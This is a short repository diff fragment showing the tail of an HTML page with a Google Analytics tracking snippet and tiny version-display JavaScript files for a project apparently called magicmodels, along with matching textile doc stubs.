<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-567811-3";
urchinTracker();
</script>
</body>
</html>

View File

@@ -0,0 +1,3 @@
// Version JS file
var version = "0.9.2";
MagicAnnouncement.show('magicmodels', version);

View File

@@ -0,0 +1,2 @@
h1. Version JS file
MagicAnnouncement.show('magicmodels', version);

View File

@@ -0,0 +1,4 @@
// Version JS file
var version = "0.9.2";
document.write(" - " + version);

View File

@@ -0,0 +1,3 @@
h1. Version JS file
document.write(" - " + version);